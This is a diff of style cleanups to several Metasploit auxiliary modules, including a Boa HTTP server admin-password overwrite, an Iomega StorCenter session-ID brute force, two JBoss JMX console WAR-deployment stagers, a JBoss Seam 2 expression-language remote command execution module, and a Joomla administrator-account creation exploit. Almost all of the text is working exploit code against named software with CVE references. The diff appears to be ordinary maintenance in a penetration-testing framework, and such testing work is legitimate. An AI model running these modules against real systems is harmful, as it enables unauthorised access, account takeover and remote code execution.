register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "The request URI", '/']),
|
||||
OptString.new('TARGETURI', [ true, 'The request URI', '/']),
|
||||
OptString.new('PASSWORD', [true, 'The password to set', 'pass'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri'=>'/',
|
||||
'method'=>'GET'
|
||||
})
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if (res and (m = res.headers['Server'].match(/Boa\/(.*)/)))
|
||||
vprint_status("Boa Version Detected: #{m[1]}")
|
||||
return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version
|
||||
return Exploit::CheckCode::Safe if (m[1][3].ord-48>4)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
vprint_status("Not a Boa Server!")
|
||||
return Exploit::CheckCode::Safe # not a boa server
|
||||
end
|
||||
if (res && (m = res.headers['Server'].match(%r{Boa/(.*)})))
|
||||
vprint_status("Boa Version Detected: #{m[1]}")
|
||||
return Exploit::CheckCode::Safe if (m[1][0].ord - 48 > 0) # boa server wrong version
|
||||
return Exploit::CheckCode::Safe if (m[1][3].ord - 48 > 4)
|
||||
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("Connection refused by server.")
|
||||
return Exploit::CheckCode::Safe
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
vprint_status('Not a Boa Server!')
|
||||
return Exploit::CheckCode::Safe # not a boa server
|
||||
end
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error('Connection refused by server.')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def run
|
||||
return if check != Exploit::CheckCode::Vulnerable
|
||||
|
||||
uri = normalize_uri(target_uri.path)
|
||||
uri << '/' if uri[-1,1] != '/'
|
||||
uri << '/' if uri[-1, 1] != '/'
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri'=> uri,
|
||||
'method'=>'GET',
|
||||
'authorization' => basic_auth(Rex::Text.rand_text_alpha(127),datastore['PASSWORD'])
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(Rex::Text.rand_text_alpha(127), datastore['PASSWORD'])
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_error("The server may be down")
|
||||
print_error('The server may be down')
|
||||
return
|
||||
elsif res and res.code != 401
|
||||
elsif res && (res.code != 401)
|
||||
print_status("#{uri} does not have basic authentication enabled")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Server still operational. Checking to see if password has been overwritten")
|
||||
print_status('Server still operational. Checking to see if password has been overwritten')
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method'=> 'GET',
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth('admin', datastore['PASSWORD'])
|
||||
})
|
||||
|
||||
if not res
|
||||
print_error("Server timedout, will not continue")
|
||||
if !res
|
||||
print_error('Server timedout, will not continue')
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -101,10 +102,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
when 200
|
||||
print_good("Password reset successful with admin:#{datastore['PASSWORD']}")
|
||||
when 401
|
||||
print_error("Access forbidden. The password reset attempt did not work")
|
||||
print_error('Access forbidden. The password reset attempt did not work')
|
||||
else
|
||||
print_status("Unexpected response: Code #{res.code} encountered")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,48 +8,45 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Iomega StorCenter Pro NAS Web Authentication Bypass',
|
||||
'Name' => 'Iomega StorCenter Pro NAS Web Authentication Bypass',
|
||||
'Description' => %q{
|
||||
The Iomega StorCenter Pro Network Attached Storage device web interface increments sessions IDs,
|
||||
allowing for simple brute force attacks to bypass authentication and gain administrative
|
||||
access.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '55586' ],
|
||||
[ 'CVE', '2009-2367' ],
|
||||
],
|
||||
'Author' => [ 'aushack' ],
|
||||
'License' => MSF_LICENSE
|
||||
'References' => [
|
||||
[ 'OSVDB', '55586' ],
|
||||
[ 'CVE', '2009-2367' ],
|
||||
],
|
||||
'Author' => [ 'aushack' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('SID_MAX', [true, 'Maximum Session ID', 100])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
datastore['SID_MAX'].times do |x|
|
||||
begin
|
||||
print_status("Trying session ID #{x.to_s}")
|
||||
print_status("Trying session ID #{x}")
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => "/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}",
|
||||
'method' => 'GET'
|
||||
}, 25)
|
||||
res = send_request_raw({
|
||||
'uri' => "/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}",
|
||||
'method' => 'GET'
|
||||
}, 25)
|
||||
|
||||
if (res and res.to_s =~ /Log out/)
|
||||
print_status("Found valid session ID number #{x.to_s}!")
|
||||
print_status("Browse to http://#{rhost}:#{rport}/cgi-bin/makecgi-pro?job=show_home&session_id=#{x.to_s}")
|
||||
break
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("Unable to connect to #{rhost}:#{rport}")
|
||||
if (res && res.to_s =~ (/Log out/))
|
||||
print_status("Found valid session ID number #{x}!")
|
||||
print_status("Browse to http://#{rhost}:#{rport}/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}")
|
||||
break
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("Unable to connect to #{rhost}:#{rport}")
|
||||
break
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,57 +8,55 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
|
||||
'Description' => %q{
|
||||
'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
|
||||
'Description' => %q{
|
||||
This module can be used to install a WAR file payload on JBoss servers that have
|
||||
an exposed "jmx-console" application. The payload is put on the server by
|
||||
using the jboss.system:BSHDeployer's createScriptDeployment() method.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'us3r777 <us3r777[at]n0b0.so>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
|
||||
[ 'OSVDB', '64171' ],
|
||||
[ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],
|
||||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
['Deploy', 'Description' => 'Create and deploy app (WAR) to deliver payload'],
|
||||
['Undeploy', 'Description' => 'Remove app (WAR) for cleanup']
|
||||
],
|
||||
'Author' => [
|
||||
'us3r777 <us3r777[at]n0b0.so>'
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
|
||||
[ 'OSVDB', '64171' ],
|
||||
[ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],
|
||||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
|
||||
],
|
||||
'Actions' => [
|
||||
['Deploy', { 'Description' => 'Create and deploy app (WAR) to deliver payload' }],
|
||||
['Undeploy', { 'Description' => 'Remove app (WAR) for cleanup' }]
|
||||
],
|
||||
'DefaultAction' => 'Deploy',
|
||||
'License' => BSD_LICENSE,
|
||||
'License' => BSD_LICENSE,
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
|
||||
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
|
||||
])
|
||||
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
|
||||
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def deploy_action(app_base, war_data)
|
||||
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
||||
|
||||
if http_verb == 'POST'
|
||||
print_status("Deploying payload...")
|
||||
print_status('Deploying payload...')
|
||||
opts = {
|
||||
:file => "#{app_base}.war",
|
||||
:contents => encoded_payload
|
||||
file: "#{app_base}.war",
|
||||
contents: encoded_payload
|
||||
}
|
||||
else
|
||||
print_status("Deploying stager...")
|
||||
stager_name = Rex::Text.rand_text_alpha(8 + rand(8))
|
||||
print_status('Deploying stager...')
|
||||
stager_name = Rex::Text.rand_text_alpha(rand(8..15))
|
||||
stager_contents = stager_jsp(app_base)
|
||||
opts = {
|
||||
:dir => "#{stager_name}.war",
|
||||
:file => "#{stager_name}.war/#{stager_name}.jsp",
|
||||
:contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')
|
||||
dir: "#{stager_name}.war",
|
||||
file: "#{stager_name}.war/#{stager_name}.jsp",
|
||||
contents: Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -66,40 +64,39 @@ class MetasploitModule < Msf::Auxiliary
|
|||
package = deploy_bsh(bsh_payload)
|
||||
|
||||
if package.nil?
|
||||
print_error("Deployment failed")
|
||||
print_error('Deployment failed')
|
||||
return
|
||||
else
|
||||
print_good("Deployment successful")
|
||||
print_good('Deployment successful')
|
||||
end
|
||||
|
||||
unless http_verb == 'POST'
|
||||
# call the stager to deploy our real payload war
|
||||
stager_uri = '/' + stager_name + '/' + stager_name + '.jsp'
|
||||
payload_data = "#{Rex::Text.rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
|
||||
payload_data = "#{Rex::Text.rand_text_alpha(rand(8..15))}=#{Rex::Text.uri_encode(encoded_payload)}"
|
||||
print_status("Calling stager #{stager_uri} to deploy final payload...")
|
||||
res = deploy('method' => 'POST',
|
||||
'data' => payload_data,
|
||||
'uri' => stager_uri)
|
||||
'data' => payload_data,
|
||||
'uri' => stager_uri)
|
||||
if res && res.code == 200
|
||||
print_good("Payload deployed")
|
||||
print_good('Payload deployed')
|
||||
else
|
||||
print_error("Failed to deploy final payload")
|
||||
print_error('Failed to deploy final payload')
|
||||
end
|
||||
|
||||
# Remove the stager
|
||||
print_status("Removing stager...")
|
||||
print_status('Removing stager...')
|
||||
files = {}
|
||||
files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
|
||||
files[:stager_base] = "#{stager_name}.war"
|
||||
delete_script = generate_bsh(:delete, files)
|
||||
res = deploy_package(delete_script, package)
|
||||
if res.nil?
|
||||
print_error("Unable to remove Stager")
|
||||
print_error('Unable to remove Stager')
|
||||
else
|
||||
print_good("Stager successfully removed")
|
||||
print_good('Stager successfully removed')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def undeploy_action(app_base)
|
||||
|
@ -112,9 +109,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
package = deploy_bsh(delete_script)
|
||||
if package.nil?
|
||||
print_error("Unable to remove WAR")
|
||||
print_error('Unable to remove WAR')
|
||||
else
|
||||
print_good("Successfully removed")
|
||||
print_good('Successfully removed')
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -124,7 +121,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
case action.name
|
||||
when 'Deploy'
|
||||
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
|
||||
print_error("WAR file not found")
|
||||
print_error('WAR file not found')
|
||||
return
|
||||
end
|
||||
war_data = File.read(datastore['WARFILE'], mode: 'rb')
|
||||
|
|
|
@ -8,53 +8,51 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment',
|
||||
'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment',
|
||||
'Description' => %q{
|
||||
This module uses the DeploymentFileRepository class in the JBoss Application Server
|
||||
to deploy a JSP file which then deploys an arbitrary WAR file.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'us3r777 <us3r777[at]n0b0.so>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
|
||||
[ 'OSVDB', '64171' ],
|
||||
[ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],
|
||||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
['Deploy', 'Description' => 'Create and deploy app (WAR) to deliver payload'],
|
||||
['Undeploy', 'Description' => 'Remove app (WAR) for cleanup']
|
||||
],
|
||||
'Author' => [
|
||||
'us3r777 <us3r777[at]n0b0.so>'
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
|
||||
[ 'OSVDB', '64171' ],
|
||||
[ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],
|
||||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
|
||||
],
|
||||
'Actions' => [
|
||||
['Deploy', { 'Description' => 'Create and deploy app (WAR) to deliver payload' }],
|
||||
['Undeploy', { 'Description' => 'Remove app (WAR) for cleanup' }]
|
||||
],
|
||||
'DefaultAction' => 'Deploy',
|
||||
'License' => BSD_LICENSE,
|
||||
'License' => BSD_LICENSE,
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
|
||||
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
|
||||
])
|
||||
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
|
||||
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def deploy_action(app_base, war_data)
|
||||
stager_base = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
stager_base = Rex::Text.rand_text_alpha(rand(8..15))
|
||||
stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15))
|
||||
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
||||
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
|
||||
|
||||
if http_verb == 'POST'
|
||||
print_status("Deploying stager for the WAR file...")
|
||||
print_status('Deploying stager for the WAR file...')
|
||||
res = upload_file(stager_base, stager_jsp_name, stager_contents)
|
||||
else
|
||||
print_status("Deploying minimal stager to upload the payload...")
|
||||
head_stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
print_status('Deploying minimal stager to upload the payload...')
|
||||
head_stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15))
|
||||
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
|
||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
|
||||
head_stager_uri = '/' + stager_base + '/' + head_stager_jsp_name + '.jsp'
|
||||
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
|
||||
|
||||
# We split the stager_jsp_code in multipe junks and transfer on the
|
||||
|
@ -62,9 +60,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
current_pos = 0
|
||||
while current_pos < stager_contents.length
|
||||
next_pos = current_pos + 5000 + rand(100)
|
||||
vars_get = { 'arg0' => stager_contents[current_pos,next_pos] }
|
||||
vars_get = { 'arg0' => stager_contents[current_pos, next_pos] }
|
||||
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
|
||||
res = deploy('uri' => head_stager_uri,
|
||||
res = deploy('uri' => head_stager_uri,
|
||||
'vars_get' => vars_get)
|
||||
current_pos += next_pos
|
||||
end
|
||||
|
@ -72,24 +70,24 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
|
||||
# but the file still gets written.
|
||||
unless res && ( res.code == 200 || res.code == 500)
|
||||
fail_with(Failure::Unknown, "Failed to deploy")
|
||||
unless res && (res.code == 200 || res.code == 500)
|
||||
fail_with(Failure::Unknown, 'Failed to deploy')
|
||||
end
|
||||
|
||||
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
||||
print_status('Calling stager to deploy the payload warfile (might take some time)')
|
||||
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
|
||||
stager_res = deploy('uri' => stager_uri,
|
||||
'method' => 'GET')
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("Payload deployed")
|
||||
print_good('Payload deployed')
|
||||
else
|
||||
print_error("Failed to deploy final payload")
|
||||
print_error('Failed to deploy final payload')
|
||||
end
|
||||
|
||||
# Cleaning stagers
|
||||
print_status("Undeploying stagers via DeploymentFileRepository.remove()...")
|
||||
print_status("This might take some time, be patient...") if http_verb == "HEAD"
|
||||
print_status('Undeploying stagers via DeploymentFileRepository.remove()...')
|
||||
print_status('This might take some time, be patient...') if http_verb == 'HEAD'
|
||||
delete_res = []
|
||||
if head_stager_jsp_name
|
||||
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
|
||||
|
@ -98,7 +96,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
delete_res << delete_file('./', stager_base + '.war', '')
|
||||
delete_res.each do |res|
|
||||
if !res
|
||||
print_warning("Unable to remove WAR [No Response]")
|
||||
print_warning('Unable to remove WAR [No Response]')
|
||||
elsif (res.code < 200 || res.code >= 300)
|
||||
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
end
|
||||
|
@ -108,18 +106,18 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# Undeploy the WAR and the stager if needed
|
||||
def undeploy_action(app_base)
|
||||
print_status("Undeploying #{app_base} via DeploymentFileRepository.remove()...")
|
||||
print_status("This might take some time, be patient...") if http_verb == "HEAD"
|
||||
print_status('This might take some time, be patient...') if http_verb == 'HEAD'
|
||||
res = delete_file('./', app_base + '.war', '')
|
||||
|
||||
unless res
|
||||
print_error("Unable to remove WAR (no response)")
|
||||
print_error('Unable to remove WAR (no response)')
|
||||
return
|
||||
end
|
||||
|
||||
if res.code < 200 || res.code >= 300
|
||||
print_error("Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
else
|
||||
print_good("Successfully removed")
|
||||
print_good('Successfully removed')
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -129,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
case action.name
|
||||
when 'Deploy'
|
||||
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
|
||||
fail_with(Failure::BadConfig, "Unable to open WARFILE")
|
||||
fail_with(Failure::BadConfig, 'Unable to open WARFILE')
|
||||
end
|
||||
war_data = File.read(datastore['WARFILE'], mode: 'rb')
|
||||
deploy_action(app_base, war_data)
|
||||
|
|
|
@ -7,43 +7,46 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'JBoss Seam 2 Remote Command Execution',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'JBoss Seam 2 Remote Command Execution',
|
||||
'Description' => %q{
|
||||
JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform
|
||||
4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression
|
||||
Language (EL) expressions, which allows remote attackers to execute arbitrary code
|
||||
via a crafted URL. This modules also has been tested successfully against IBM
|
||||
WebSphere 6.1 running on iSeries.
|
||||
4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression
|
||||
Language (EL) expressions, which allows remote attackers to execute arbitrary code
|
||||
via a crafted URL. This modules also has been tested successfully against IBM
|
||||
WebSphere 6.1 running on iSeries.
|
||||
|
||||
NOTE: this is only a vulnerability when the Java Security Manager is not properly
|
||||
configured.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
NOTE: this is only a vulnerability when the Java Security Manager is not properly
|
||||
configured.
|
||||
},
|
||||
'Author' => [
|
||||
'guerrino di massa', # Metasploit module
|
||||
'Cristiano Maruti <cmaruti[at]gmail.com>' # Support for IBM Websphere 6.1
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2010-1871' ],
|
||||
[ 'OSVDB', '66881']
|
||||
],
|
||||
'DisclosureDate' => '2010-07-19'))
|
||||
'DisclosureDate' => '2010-07-19'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'Target URI', '/seam-booking/home.seam']),
|
||||
OptString.new('CMD', [ true, "The command to execute."])
|
||||
])
|
||||
OptString.new('CMD', [ true, 'The command to execute.'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
uri = normalize_uri(target_uri.to_s)
|
||||
cmd_enc = ""
|
||||
cmd_enc << Rex::Text.uri_encode(datastore["CMD"])
|
||||
cmd_enc = ''
|
||||
cmd_enc << Rex::Text.uri_encode(datastore['CMD'])
|
||||
|
||||
flag_found_one = 255
|
||||
flag_found_two = 255
|
||||
|
@ -53,45 +56,46 @@ class MetasploitModule < Msf::Auxiliary
|
|||
uri_part_3 = "].invoke(null),'"
|
||||
|
||||
25.times do |index|
|
||||
req = uri + uri_part_1 + index.to_s + "]}"
|
||||
req = uri + uri_part_1 + index.to_s + ']}'
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => req,
|
||||
'method' => 'GET',
|
||||
}, 20)
|
||||
'uri' => req,
|
||||
'method' => 'GET'
|
||||
}, 20
|
||||
)
|
||||
|
||||
if (res and res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29))
|
||||
if (res && res.headers['Location'] =~ (/java.lang.Runtime.exec%28java.lang.String%29/))
|
||||
flag_found_one = index
|
||||
print_status("Found right index at [" + index.to_s + "] - exec")
|
||||
elsif (res and res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime))
|
||||
print_status("Found right index at [" + index.to_s + "] - getRuntime")
|
||||
print_status('Found right index at [' + index.to_s + '] - exec')
|
||||
elsif (res && res.headers['Location'] =~ (/java.lang.Runtime\+java.lang.Runtime.getRuntime/))
|
||||
print_status('Found right index at [' + index.to_s + '] - getRuntime')
|
||||
flag_found_two = index
|
||||
else
|
||||
print_status("Index [" + index.to_s + "]")
|
||||
print_status('Index [' + index.to_s + ']')
|
||||
end
|
||||
end
|
||||
|
||||
if (flag_found_one != 255 && flag_found_two != 255 )
|
||||
print_status("Target appears VULNERABLE!")
|
||||
print_status("Sending remote command:" + datastore["CMD"])
|
||||
if (flag_found_one != 255 && flag_found_two != 255)
|
||||
print_status('Target appears VULNERABLE!')
|
||||
print_status('Sending remote command:' + datastore['CMD'])
|
||||
|
||||
req = uri + uri_part_1 + flag_found_one.to_s + uri_part_2 + flag_found_two.to_s + uri_part_3 + cmd_enc + "')}"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => req,
|
||||
'method' => 'GET',
|
||||
}, 20)
|
||||
'uri' => req,
|
||||
'method' => 'GET'
|
||||
}, 20
|
||||
)
|
||||
|
||||
|
||||
if (res and res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess))
|
||||
print_good("Exploited successfully")
|
||||
if (res && res.headers['Location'] =~ (/pwned=java.lang.UNIXProcess/))
|
||||
print_good('Exploited successfully')
|
||||
else
|
||||
print_error("Exploit failed")
|
||||
print_error('Exploit failed')
|
||||
end
|
||||
else
|
||||
print_error("Target appears not vulnerable!")
|
||||
print_error('Target appears not vulnerable!')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,29 +7,30 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HTTP::Joomla
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Joomla Account Creation and Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
|
||||
through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Joomla Account Creation and Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
|
||||
through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
|
||||
},
|
||||
'References' => [
|
||||
['CVE', '2016-8869'],
|
||||
['CVE', '2016-8870'],
|
||||
['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'],
|
||||
['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'],
|
||||
['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Fabio Pires <fp[at]integrity.pt>', # module creation and privilege escalation
|
||||
'Author' => [
|
||||
'Fabio Pires <fp[at]integrity.pt>', # module creation and privilege escalation
|
||||
'Filipe Reis <fr[at]integrity.pt>', # module creation and privilege escalation
|
||||
'Vitor Oliveira <vo[at]integrity.pt>', # module creation and privilege escalation
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2016-10-25'
|
||||
))
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2016-10-25'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
@ -87,7 +88,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
print_status("Trying to create the user!")
|
||||
print_status('Trying to create the user!')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
|
||||
'vars_get' => {
|
||||
|
@ -113,23 +114,23 @@ class MetasploitModule < Msf::Auxiliary
|
|||
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"')
|
||||
mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"')
|
||||
mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"')
|
||||
mime.add_part(datastore['PASSWORD'] , nil, nil, 'form-data; name="user[password2]"')
|
||||
mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password2]"')
|
||||
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"')
|
||||
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"')
|
||||
mime.add_part('com_users', nil, nil, 'form-data; name="option"')
|
||||
mime.add_part('user.register', nil, nil, 'form-data; name="task"')
|
||||
mime.add_part('1', nil, nil, 'form-data; name="' + csrf +'"')
|
||||
mime.add_part('1', nil, nil, 'form-data; name="' + csrf + '"')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
|
||||
'cookie' => cookie,
|
||||
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||
'data' => mime.to_s
|
||||
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||
'data' => mime.to_s
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("PWND - Your user has been created")
|
||||
print_good('PWND - Your user has been created')
|
||||
print_status("\tUsername: " + datastore['USERNAME'])
|
||||
print_status("\tPassword: " + datastore['PASSWORD'])
|
||||
print_status("\tEmail: " + datastore['EMAIL'])
|
||||
|
@ -137,17 +138,17 @@ class MetasploitModule < Msf::Auxiliary
|
|||
res = send_request_cgi!(
|
||||
'uri' => res.redirection.path,
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
print_error("There was an issue, but the user could have been created.")
|
||||
print_error('There was an issue, but the user could have been created.')
|
||||
|
||||
parsed_data = res.get_html_document
|
||||
parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|
|
||||
print_error("\t" + alert_msg.text)
|
||||
end
|
||||
else
|
||||
print_error("This host may not be vulnerable.")
|
||||
print_error('This host may not be vulnerable.')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,49 +8,51 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
